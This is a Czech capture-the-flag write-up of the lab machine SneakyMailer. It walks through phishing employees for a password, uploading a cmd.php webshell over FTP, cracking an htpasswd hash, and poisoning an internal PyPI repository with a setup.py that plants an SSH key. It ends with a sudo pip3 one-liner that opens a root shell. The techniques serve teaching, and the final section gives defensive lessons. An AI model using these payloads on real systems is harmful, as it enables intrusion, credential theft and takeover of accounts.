SneakyMailer
Úvod a kontext
SneakyMailer je zajímavý tím, že první přístup nevzniká klasickou technickou zranitelností, ale phishingem. Technická část začíná až ve chvíli, kdy se podaří získat cizí heslo a proměnit ho v přístup k interním službám. Díky tomu je celý stroj spíš o řetězení důvěry mezi poštou, webem, FTP a interním PyPI repozitářem než o jednom konkrétním exploitu. Celý tenhle model rozebírám obecněji i v článcích Phishing jako technický pivot do interních služeb a Supply chain uvnitř firmy: interní package registry.
Foothold vede přes vhost dev.sneakycorp.htb, FTP přístup účtu developer a jednoduchý webshell. Další pivot na uživatele low pak přichází přes interní balíčkovací infrastrukturu. Root část je už čistá konfigurace: sudo pip3 install bez omezení je v praxi téměř přímý root shell.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji, jaké služby jsou na stroji dostupné zvenku a jestli se tu propojují web, pošta a souborové služby.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
143/tcp open imap Courier Imapd
8080/tcp open http nginx 1.14.2
Už samotná kombinace SMTP, IMAP, FTP a více webových portů naznačuje, že půjde o prostředí s více interními workflow a pravděpodobně i více hostname.
Virtuální hosty
Fuzzing host headeru odhalil subdoménu:
dev.sneakycorp.htb
To je důležitý mezikrok, protože veřejný web na 80 nepůsobil jako přímý vstup, zatímco vývojový vhost často bývá napojený na interní uživatele nebo deploy proces.
Analýza zjištění
Phishing jako zdroj prvních přihlašovacích údajů
První skutečně použitelný posun přišel přes rozeslání phishingového e-mailu zaměstnancům a zachycení přihlašovacího POSTu. Tato část je důležitá hlavně rozhodovacím způsobem: když má cíl veřejný SMTP a zároveň firemní login formulář, je legitimní zkusit, jestli uživatelé zadávají hesla mimo důvěryhodný web.
Zachycená data patřila účtu:
paulbyrd@sneakymailer.htb
Heslo po URL dekódování vyšlo na:
^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
To ještě nebyl finální foothold, ale otevřelo to cestu k dalším interním informacím. Následná práce s poštovním klientem ukázala i další uložené pověření:
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Právě účet developer měl pro další postup praktickou hodnotu.
Proč zkusit FTP a vývojový vhost
Jakmile se objeví účet s názvem developer a současně existuje vhost dev.sneakycorp.htb, je rozumné zkusit, jestli stejné přihlašovací údaje neplatí i do FTP nebo deploy procesu. Tady to skutečně vyšlo: účet developer umožnil upload souboru na FTP.
Po nahrání jednoduchého cmd.php bylo možné získat webshell na vývojové subdoméně:
http://dev.sneakycorp.htb/cmd.php?c=...
Získání přístupu
Webshell a interní PyPI repozitář
Webshell neposkytl jen příkazy, ale hlavně pohled do lokálního prostředí. Z něj vyplynulo, že v síti existuje i interní PyPI repozitář:
pypi.sneakycorp.htb
Současně se podařilo získat htpasswd záznam pro účet pypi:
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Ten šel prolomit:
/usr/sbin/john SneakyMailer-htpasswd.txt --wordlist=/usr/share/wordlists/rockyou.txt
soufianeelhaoui
Další rozhodující soubor byl .pypirc, který ukazoval, kam se balíčky nahrávají a jaké heslo použít:
[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
To je zásadní moment celého stroje: nejde o „jen další heslo“, ale o možnost provést supply-chain pivot přes interní repozitář, kterému důvěřuje jiný lokální uživatel.
Pivot na low přes škodlivý balíček
Stačilo připravit balíček, jehož setup.py při instalaci přidá vlastní SSH klíč do authorized_keys uživatele low:
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "a") as f:
f.write("ssh-rsa __CENSORED__== hack@t")
except Exception:
pass
setuptools.setup(
name="test",
version="0.0.1",
)
Nahrání proběhlo přes lokální repozitář:
HOME=$(pwd)
python3 setup.py sdist register -r local upload -r local
Jakmile cílový workflow balíček zpracoval, bylo možné se přihlásit jako low:
ssh low@10.10.10.197
Pak už šlo potvrdit běžný uživatelský přístup:
cat user.txt
__CENSORED__
Eskalace oprávnění
sudo pip3 install
První kontrola po přihlášení jako low vedla na sudo -l:
sudo -l
(root) NOPASSWD: /usr/bin/pip3
To je velmi silné oprávnění, protože pip při instalaci balíčku provádí kód ze setup.py. V praxi tedy nejde jen o správu Python balíčků, ale o možnost spustit libovolný kód jako root. Stejný bezpečnostní vzorec popisuje i článek sudo nad package, backup a container nástroji.
Stačilo vytvořit dočasný adresář s vlastním setup.py:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/bin/pip3 install $TF
Tím vznikl root shell a následně i přístup k root.txt:
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První použitelná pověření zde nevznikla z exploitu služby, ale z phishingu a následného reuse mezi interními systémy.
- Účet
developerměl hodnotu hlavně proto, že otevřel FTP upload na vývojový vhost a tím i jednoduchý webshell. - Skutečně zajímavý pivot vedl přes interní PyPI repozitář, kterému jiný lokální účet důvěřoval při instalaci balíčků.
- Root část byla čistá chyba v delegaci:
sudo pip3 installdovoluje spustit kód zesetup.pyjako root.
Co si odnést do praxe
- Poštovní infrastruktura je plnohodnotná součást útočné plochy. I bez technické zranitelnosti může phishing přinést první heslo, které otevře další interní služby.
- Vývojové vhosty a FTP účty by neměly sdílet stejná pověření s běžnými uživatelskými účty. Jinak se z jedné kompromitované identity stává deploy přístup.
- Interní repozitáře balíčků jsou citlivý supply-chain prvek. Pokud útočník získá možnost do nich nahrávat, může kompromitovat všechny systémy nebo účty, které z nich instalují.
sudooprávnění pro správce balíčků je potřeba posuzovat jako možnost spouštět libovolný kód.pip,npm,gema podobné nástroje nejsou bezpečné „jen instalační utility“.